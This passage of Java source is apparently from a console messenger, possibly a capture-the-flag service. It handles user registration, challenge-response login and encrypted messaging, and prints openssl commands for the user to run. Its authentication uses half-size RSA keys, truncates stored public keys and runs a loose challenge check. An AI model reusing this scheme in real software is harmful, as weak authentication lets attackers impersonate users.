34 | System.out.println(String.format("\techo %s | xxd -r -p | openssl rsautl -sign -inkey %s.key | xxd -p -c2000\n",
35 | Utils.bytesToHex(challenge) ,username));
36 |
37 | byte[] response = Utils.hexToBytes(Utils.ask("[resp]>"));
38 | byte[] buffer = Utils.decrypt(Utils.getUserKey(username), response);
39 |
40 | if (!java.util.Arrays.equals(challenge, buffer)) {
41 | System.out.println("Invalid challenge response!");
42 | return;
43 | }
44 |
45 | System.out.println(String.format("Welcome, %s!", username));
46 | this.context.runListener(username);
47 | } else {
48 | System.out.println(String.format("Cannot find user %s. Maybe you want to register?", username));
49 | }
50 |
51 | }
52 |
53 | public void register(String username) throws Exception {
54 | if (Utils.userExists(username)) {
55 | System.out.println(String.format("User %s already exists. Maybe you want to login?", username));
56 | return;
57 | }
58 |
59 | System.out.println("To register please specify your public key");
60 | System.out.println("If you dont have public key, generate key pair using following command and enter the result");
61 | System.out.println(String.format("\topenssl genrsa -out %s.key %d &>/dev/null; openssl rsa -in %s.key -pubout -outform DER | xxd -p -c2000\n",
62 | username, KEY_BITS>>1, username));
63 |
64 | byte[] response = Utils.hexToBytes(Utils.ask("[resp]>"));
65 | Utils.saveUserKey(username, Arrays.copyOf(response, KEY_BITS/8));
66 | System.out.println(String.format("User %s has been created", username));
67 | }
68 |
69 | public void msgto(String username) throws Exception {
70 | if (!Utils.userExists(username)) {
71 | System.out.println(String.format("Cannot find user with userername `%s`", username));
72 | return;
73 | }
74 | byte[] key = Utils.getUserKey(username);
75 | System.out.println(String.format("\techo YOURMESSAGE | openssl rsautl -inkey <(echo %s | xxd -r -p) -keyform DER -encrypt | xxd -p -c 99999 \n",
76 | Utils.bytesToHex(key)));
77 | byte[] response = Utils.hexToBytes(Utils.ask("[msg]>"));
78 | Sender sender = new Sender(username);
79 | sender.send(response);
80 | System.out.println("Done!");
81 | }
82 |
83 |
84 | public Boolean process(String[] args) throws Exception {
85 | switch(args[0]) {
86 | case "help":
87 | help();
88 | break;
89 | case "register":
90 | register(args[1]);
91 | break;
92 | case "auth":
93 | auth(args[1]);
94 | break;
95 | case "msgto":
96 | msgto(args[1]);
97 | break;
98 | default:
99 | System.out.println("Unknown command. Try 'help' to see the command list.");
100 | }
101 | return true;
102 | }
103 |
104 | public void run() throws Exception {
105 | System.out.println("Welcome to SSHlyuxa Messenger!");
106 | try {
107 | while (true) {
108 | String input = Utils.ask(">>>");
109 | if (input == null)
110 | break;
111 |
112 | String[] args = input.split(" ");
113 | if (args[0].equals("quit"))
114 | break;
115 | process(args);
116 | }
117 | } finally {
118 | this.context.stopListener();
119 | }
120 | }
121 |
122 |
123 | }
124 |
--------------------------------------------------------------------------------